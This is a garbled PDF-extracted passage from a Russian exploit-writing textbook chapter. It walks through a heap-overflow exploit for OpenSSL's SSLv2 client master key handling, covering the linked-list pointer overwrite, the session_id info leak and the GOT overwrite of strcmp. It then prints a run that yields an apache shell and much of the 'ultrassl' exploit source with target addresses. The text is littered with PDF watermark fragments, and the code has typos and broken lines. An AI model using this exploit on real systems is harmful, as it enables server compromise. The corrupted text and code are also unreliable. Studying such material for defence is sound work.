|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
|
E |
|
|
|
|
|
X |
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
|
|
d |
|
|
F |
|
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
P |
|
|
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
|
|
.c |
|
|
|
p |
|
|
|
|
|
|
|
e |
|
|
|
|
d |
|
|
xch20 |
|
|
|
|
|
|
|
f- |
|
an |
|
|
|
|
|
|
|
|
|
|
|
21 |
|
|
|
22
23
24
25
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
X |
|
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
Пример: уязвимость, связанная с переполнением буфера 551 |
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
|
p |
|
|
|
|
g |
|
|
long time; |
|
|
|
df-x chan |
e |
|
|
|
|
|
|
|
int compress_meth; |
|
|
|
|
|
|
|
|
|
|
|
SSL_CIPHER *cipher; |
|
|
|
|
|
|
|
|
|
|
|
unsigned long cipher_id; |
|
|
|
|
|
|
|
|
|
|
|
STACK_OF(SSL_CIPHER) *ciphers; |
/* разделяемые шифры? */ |
|
|
|
|
|
|
|
|
|
|
CRYPTO_EX_DATA ex_data; |
/* данные приложения */ |
|
|
|
|
|
|
|
|
|
|
26
27struct ssl_session_st *prev, *next;
28} SSL_SESSION;
На первый взгляд, в этой структуре нет ничего, что стоило бы перезаписывать (никаких указателей на функции). Однако в самом конце имеются указатели prev и next, необходимые для управления связанным списком ssl-сессий. По завершении процедуры квитирования, принятой в протоколе SSL, новая сессия помещается в этот список следующей функцией:
(из файла ssl_sess.c – небольшой фрагмент)
1 static void SSL_SESSION_list_add(SSL_CTX *ctx, SSL_SESSION *s)
2{
3if ((s->next != NULL) && (s->prev != NULL))
4SSL_SESSION_list_remove(ctx,s);
Здесь говорится, что если указатели next и prev не равны NULL (а они и будут ненулевыми, если мы их перепишем), то OpenSSL удаляет указанную сессию из списка. Перезаписывание содержимого произвольных 32-разряд- ных слов в памяти происходит в функции SSL_SESSION_list_remove:
(из файла ssl_sess.c – небольшой фрагмент)
1 static void SSL_SESSION_list_remove(SSL_CTX *ctx, SSL_SESSION *s)
2{
3/* середина списка */
4s->next->prev = s->prev;
5 s->prev->next = s->next;
6}
То же на ассемблере:
0x1c532 |
<SSL_SESSION_list_remove+210>: |
mov |
%ecx,0xc0(%eax) |
0x1c538 |
<SSL_SESSION_list_remove+216>: |
mov |
0xc(%ebp),%edx |
Этот код позволяет записать в 32-разрядное слово по произвольному адресу содержимое 32-разрядного слова по другому, тоже произвольному адресу. Например, чтобы изменить адрес функции strcmp в глобальной таблице смещений (GOT), мы можем подготовить буфер так, чтобы next указывал на адрес strcmp – 192, а prev содержал адрес нашего shell-кода.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
X |
|
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|
|
|
|
to |
|
|
|
552 Глава 11. Написание эксплойтов II |
w Click |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
m |
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
-xcha |
|
|
.c |
|
|
|
p |
|
|
|
Трудности |
|
|
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
X |
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|
|
|
|
to |
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
-x cha |
|
|
|
|
Усложняют написание эксплойта два указателя в структуре SSL_SESSION: cipher и ciphers. Они связаны с процедурами дешифрирования для SSL-сес- сии. Если они окажутся затерты, то дешифрирования не произойдет и сессия не будет помещена в список. Поэтому необходимо получить значения этих указателей до того, как мы начнем конструировать свой буфер.
На наше счастье, уязвимость в OpenSSL породила некую утечку информации. Когда SSL посылает сообщение «server finish» в ходе процедуры квитирования, то вместе с ним клиенту посылается значение поля session_id из структуры SSL_SESSION.
(из файла s2_srvr.c)
1 static int
2 server_finish(SSL *s)
3 {
4 unsigned char *p;
5
6if (s->state == SSL2_ST_SEND_SERVER_FINISHED_A) {
7p = (unsigned char *) s->init_buf->data;
8 *(p++) = SSL2_MT_SERVER_FINISHED;
9
10memcpy(p, s->session->session_id,
11(unsigned int) s->session->session_id_length);
12/* p += s->session->session_id_length; */
13
14s->state = SSL2_ST_SEND_SERVER_FINISHED_B;
15s->init_num = s->session->session_id_length + 1;
16s->init_off = 0;
17}
18/* SSL2_ST_SEND_SERVER_FINISHED_B */
19}
Âстроках 10 и 11 OpenSSL копирует в буфер session_id_length байтов значе- ния session_id. Ïîëå session_id_length расположено в структуре SSL_SESSION
сразу после массива key_arg, следовательно, мы можем модифицировать его значение. Задав для session_id_length значение 112, мы получим от сервера дамп памяти в куче, включающий адреса, хранящиеся в полях cipher и ciphers.
Итак, нужные адреса мы знаем. Теперь надо найти место для shell-кода. Кстати, нам необходим shell-код, который повторно использует уже открытый сокет. К несчастью, shell-код, который перебирает все файловые дескрипторы и затем дублирует нужный на stdin, stdout è stderr, слишком длинный. Чтобы shell-код выполнился успешно, придется разбить его на две части, одну поместить в массив session_id, а другую – в память, следующую за струк-
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
BUY |
|
|
|
|
|
|
to |
|
|
|
|
|
Пример: уязвимость, связанная с переполнением буфера |
553 |
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|
|
p |
|
-xcha |
|
|
|
|
|
p |
|
-x cha |
|
|
|
|
|
|
|
|
|
И, наконец, нам нужно точно знать, по каким адресам будет размещен shell- |
|
|
e |
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
код. Но последовательность выделения и освобождения памяти из кучи непредсказуема, так что грубая сила ни к чему не приведет. Однако известно, что в только что порожденном процессе Apache первая структура SSL_SESSION всегдаоказывается на одном и том же расстоянии от указателя ciphers (амы уже знаем его адрес). Чтобы эксплойт сработал, мы подменим адрес функции strcmp в глобальной таблице смещений (поскольку дескриптор сокета для этого процесса все еще открыт) адресом ciphers – 136. Этот подход работает, нам удалось таким образом успешно взломать несколько версий Linux.
Усовершенствование эксплойта
Чтобы усовершенствовать эксплойт, мы должны найти дополнительные адреса в глобальной таблице смещений (GOT), которые можно было бы переписать. Эти адреса меняются в каждой версии OpenSSL. Получить информацию о GOT можно с помощью утилиты objdump:
Чтобы получить смещения для Linux:
$ objdump -R /usr/sbin/httpd | grep strcmp
080b0ac8 R_386_JUMP_SLOT |
strcmp |
Открыть файл ultrassl.c и в массив target поместить:
{ 0x080b0ac8, "slackware 8.1" },
Вывод
На примере этого эксплойта мы продемонстрировали технику атаки на недавно обнаруженную уязвимость в OpenSSL. Хотя атака возможна, но эксплойт может и не сработать в зависимости от состояния атакуемого Webсервера. Чем больше законного SSL-трафика получает жертва, тем призрач- нее шансы на успех атаки. Иногда приходится запускать эксплойт несколько раз, чтобы добиться нужного результата. Как видно из примера исполнения эксплойта ниже, мы получили оболочку с правами пользователя, от имени которого работает Apache.
1(bind@ninsei ~/coding/exploits/ultrassl) > ./ultrassl -t2 10.0.48.64
2ultrassl – an openssl <= 0.9.6d apache exploit
3 written by marshall beddoe <marshall.beddoe@foundstone.com>
4
5атака на redhat 7.2 (Enigma)
6 длина shell-кода 104 байт
7
8создаются соединения: 20 из 20
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
d |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
554 Глава 11. Написание эксплойтов II |
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
df-xchan |
10 организуется утечка информации: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
11 06 |
15 |
56 |
33 |
4b |
a2 |
33 |
24 |
39 |
14 |
0e |
42 |
75 |
5a |
22 |
f6 |
|
|
|
|
|
|
|
|
12 a4 |
00 |
00 |
00 |
00 |
00 |
00 |
00 |
00 |
00 |
00 |
00 |
00 |
00 |
00 |
00 |
|
|
|
|
|
|
|
|
13 00 |
20 |
00 |
00 |
00 |
62 |
33 |
38 |
31 |
61 |
30 |
63 |
61 |
38 |
66 |
36 |
|
|
|
|
|
|
|
|
14 39 |
30 |
33 |
35 |
37 |
32 |
64 |
65 |
34 |
36 |
39 |
31 |
35 |
34 |
65 |
33 |
|
|
|
|
|
|
|
|
15 39 |
36 |
62 |
31 |
66 |
00 |
00 |
00 |
00 |
f0 |
51 |
15 |
08 |
00 |
00 |
00 |
|
|
|
|
|
|
|
|
16 00 |
00 |
00 |
00 |
00 |
01 |
00 |
00 |
00 |
2c |
01 |
00 |
00 |
64 |
70 |
87 |
|
|
|
|
|
|
|
|
17 3d |
00 |
00 |
00 |
00 |
8c |
10 |
46 |
40 |
00 |
00 |
00 |
00 |
c0 |
51 |
15 |
|
|
|
|
|
|
|
|
18 08 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
19 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
20 cipher |
= 0x4046108c |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
21 ciphers = 0x081551c0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
22 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
23 выполняется эксплойт.. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
24 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
25 Linux tobor 2.4.7-10 i686 unknown |
|
|
|
|
|
|
|
|
|
|
|
|
|
26 uid=48(apache) gid=48(apache) groups=48(apache) |
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|
|
|
F |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
t |
|
|
|
P |
D |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
NOW! |
r |
|
|
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
m |
|
|
w Click |
|
|
|
|
|
|
o |
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
p |
df |
|
|
|
|
e |
|
|
|
|
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
n |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
| .. |
V3K.3$9..BuZ". |
|
|
|
|
|
|
|
|
|
|
|
| ................ |
|
|
|
|
|
|
|
|
|
|
|
|
|
| . |
...b381a0ca8f6 |
|
|
|
|
|
|
|
|
|
|
|
| 903572de469154e3 |
|
|
|
|
|
|
|
|
|
|
|
| 96b1f..... |
Q..... |
|
|
|
|
|
|
|
|
|
|
|
| ......... |
|
,...dp. |
|
|
|
|
|
|
|
|
|
|
|
| =...... |
F@..... |
Q. |
|
|
|
|
|
|
|
|
|
|
|
| . |
|
|
|
|
|
|
|
|
|
|
|
|
|
Код эксплойта для переполнения буфера из-за неправильно сформированного клиентского ключа в OpenSSL SSLv2
Показанная ниже программа эксплуатирует ошибку в библиотеке OpenSSL, вызывающую затирание памяти в связанном списке. В результате запуска эксплойта удается получить оболочку с правами пользователя «apache». В большинстве систем Linux последующее повышение привилегий до уровня root тривиально.
1 |
#include |
<sys/types.h> |
2 |
#include |
<sys/socket.h> |
3 |
#include |
<netinet/in.h> |
4 |
#include |
<sys/signal.h> |
5 |
|
|
6 |
#include |
<fcntl.h> |
7 |
#include |
<stdio.h> |
8 |
#include |
<stdlib.h> |
9 |
#include |
<string.h> |
10 |
#include |
<unistd.h> |
11 |
|
|
12 |
#include |
"ultrassl.h" |
13 |
#include |
"shellcode.h" |
14 |
|
|
15 char *host;
16int con_num, do_ssl, port;
17u_long cipher, ciphers, brute_addr = 0;
19 typedef struct {
20 u_long retloc;
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
|
E |
|
|
|
|
|
|
|
C |
|
|
E |
|
|
|
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
|
|
d |
|
|
F |
|
|
|
|
|
|
|
|
|
t |
|
|
|
F |
|
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
|
|
i |
|
|
|
D |
|
|
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
|
r |
P |
|
|
|
|
|
|
|
NOW! |
o |
|
P |
|
|
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
|
Пример: уязвимость, связанная с переполнением буфера 555 |
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
m |
|
w Click |
|
|
|
|
|
|
|
|
m |
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
o |
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
|
|
.c |
|
|
|
. |
|
|
|
|
|
|
|
|
.c |
|
|
|
p |
|
|
|
|
|
|
|
e |
|
u_long retaddr; |
|
|
p |
|
|
|
x cha |
|
e |
|
|
|
|
d |
|
|
xch21 |
|
|
|
|
|
|
d |
|
|
g |
|
|
|
|
|
|
|
f- |
|
an |
|
|
|
|
|
|
|
|
|
f- |
|
|
n |
|
|
|
|
|
|
|
|
|
|
|
22 |
|
|
|
char *name; |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
23 } targets;
24
25 targets target[] = {
26{0x08085a0, 0xbfffda38, "redhat 7.3 (Valhalla)"},
27{0x08085a0, 0xbfffda38, "test"},
28{0x0, 0xbfbfdca8, "freebsd"}
29};
30
31targets *my_target;
32int target_num = sizeof(target) / sizeof(*target);
34void
35 sighandler(int sig)
36{
37int sockfd, rand_port;
39 putchar('\n');
40
41 rand_port = 1 + (int) (65535.0 * rand() / (RAND_MAX + 31025.0));
42
43 putchar('\n');
44
45 populate(host, 80, con_num, do_ssl, rand_port);
46
47printf("выполняется эксплойт..\n");
48sockfd = exploit(host, port, brute_addr, 0xbfffda38, rand_port);
50if (sock_fd > 0)
51shell(sockfd);
52}
53
54int
55main(int argc, char **argv)
56{
57char opt;
58char *p;
59u_long addr = 0;
60int sockfd, ver, i;
61
62ver = -1;
63port = 443;
64do_ssl = 0;
65p = argv[0];
66con)num = 12;
68srand(time(NULL) ^ getpid());
69signal(SIGPIPE, &sighandler);
70setvbuf(stdout, NULL, _IONBUF, 0);
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
X |
|
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|
|
|
|
to |
|
|
|
556 Глава 11. Написание эксплойтов II |
w Click |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
m |
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
p |
|
|
|
|
g |
71 |
|
|
|
df-xchan |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
X |
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|
|
|
|
to |
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
-x cha |
|
|
|
|
72puts("ultrassl – an openssl <= 0.9.6d apache exploit\n");
73"written by marshall beddoe <marshall.beddoe@foundstone.com>");
75if (argc < 2)
76usage(p);
78while ((opt = getopt(argc, argv, "p:c:a:t:s")) != EOF) {
79switch (opt) {
80case 'p':
81port = atoi(optarg);
82break;
83case 'c':
84con_num = atoi(optarg);
85break;
86case 'a':
87addr = strtoul(optarg, NULL, 0);
88break;
89case 't':
90ver = atoi(optarg) – 1;
91break;
92case 's':
93do_ssl = 1;
94break;
95default:
96usage(p);
97}
98}
99
100argv += optind;
101host = argv[0];
103ver = 0;
105if (ver < 0 || ver >= target_num) && !addr) {
106printf(\nöåëè:\n");
107for (i = 0; i < target_num; i++)
108printf(" -t%d\t%s\n", i + 1, target[i].name);
109exit(-1);
110}
111my_target = target + ver;
112
113if (addr)
114brute_addr = addr;
116if (!host)
117 |
usage(p); |
118 |
|
119 |
printf("длина shell-кода %d байт\n", sizeof(shellcode)); |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
|
E |
|
|
|
|
|
|
X |
|
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
|
|
i |
r |
P |
|
|
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
|
|
.c |
|
|
|
p |
|
|
|
|
|
|
|
e |
|
|
|
|
|
d |
|
|
xch120 |
|
|
|
|
|
|
f- |
|
an |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
X |
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
Пример: уязвимость, связанная с переполнением буфера 557 |
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
-x cha |
|
|
|
|
121 infoleak(host, port);
122
123if (!brute_addr)
124brute_addr = cipher + 8192; // 0x08083e18
126 putchar('\n');
127
128for (i = 0; i < 1024; i++) {
129int sd;
130
131 printf("грубой силой: 0x%x\r", brute_addr);
132
133 sd = exploit(host, port, brute_addr, 0xbfffda38, 0);
134
135if (sd > 0) {
136shutdown(ds, 1);
137close(sd);
138}
139
140brute_addr += 4;
141}
142exit(0);
143}
144
145int
146populate(char *host, int port, int num, int do_ssl, int rand_port)
147{
148int i, *socks;
149char buf[1024 * 3];
150char header[] = "GET / HTTP/1.0\r\nHost: ";
151struct sockaddr_in sin;
152
153 printf("модифцируется shell-код..\n");
154
155 memset(buf, 0x90, sizeof(buf));
156
157for (i = 0; i < sizeof(buf); i += 2)
158*(short *)&buf[i] = 0xfceb;
159
160 memcpy(buf, header, sizeof(header));
161
162buf[sizeof(buf) – 2] = 0x0a;
163buf[sizeof(buf) – 1] = 0x0a;
164buf[sizeof(buf) – 0] = 0x0;
166shellcode[47 + 0] = (u_char)((rand_port >> 8) & 0xff);
167shellcode[47 + 1] = (u_char)(rand_port & 0xff);
168
send_client_master_key(ssl, buf, sizeof(buf));
generate_keys(ssl);
return(-1);
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
|
E |
|
|
|
|
|
|
X |
|
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
|
|
i |
r |
P |
|
|
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
|
|
.c |
|
|
|
p |
|
|
|
|
|
|
|
e |
|
|
|
|
|
d |
|
|
xch218 |
|
|
|
|
|
|
f- |
|
an |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
X |
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
Пример: уязвимость, связанная с переполнением буфера 559 |
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
-x cha |
|
|
|
|
219
220
221
222
223
224if (get_server_verify(ssl) < 0)
225return(-1);
226
227send_client_finish(ssl);
228get_server_finish(ssl, 1);
230printf("\ncipher\t= 0x%08x\n", cipher);
231printf("\nciphers\t= 0x%08x\n", ciphers);
233shutdown(ssl->sockfd, 1);
234close(ssl->sockfd);
235}
236
237int
238exploit(char *host, int port, u_long retloc, u_long retaddr,
int rand_port)
239{
240u_char *p;
241ssl_conn *ssl;
242int i, src_port;
243u_char buf[184], test[400];
244struct sockaddr_in sin;
246if (!(ssl = sll_connect(host, port, rand_port)))
247return(-1);
248
249 memset(buf, 0x0, sizeof(buf));
250
251 p = buf;
252
253 *(long *) &buf[52] = 0x00000070;
254
255*(long *) &buf[156] = cipher;
256*(long *) &buf[164] = ciphers;
258*(long *) &buf[172 + 4] = retaddr;
259*(long *) &buf[172 + 8] = retloc – 192;
261send_client_hello(ssl);
262if (get_server_hello(ssl) < 0)
263return(-1);
264
265 send_client_master_key(ssl, buf, sizeof(buf));
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
X |
|
|
|
|
|
|
|
- |
|
|
|
|
d |
|
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|
|
|
|
to |
|
|
560 Глава 11. Написание эксплойтов II |
w Click |
|
|
|
|
|
|
|
|
|
|
|
|
|
m |
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
e |
|
|
|
|
df-xchan |
266 |
267 generate_keys(ssl);
268
269if (get_server_verify(ssl) < 0)
270return(-1);
271
272send_client_finish(ssl);
273get_server_finish(ssl, 0);
275 fcntl(ssl->sockfd, F_SETFL, O_NONBLOCK);
276
277 write(ssl->sockfd, "echo -n\n", 8);
278
279 sleep(3);
280
281read(ssl->sockfd, test, 400);
282write(ssl->sockfd, "echo -n\n", 8);
284return(ssl->sockfd);
285}
286
287void
288usage(char *prog)
289{
290printf("usage: %s [-p port] [-c <connects>] [-t <type>] "
"[-s] target\n"
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
X |
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|
|
|
|
to |
|
|
|
|
|
w Click |
|
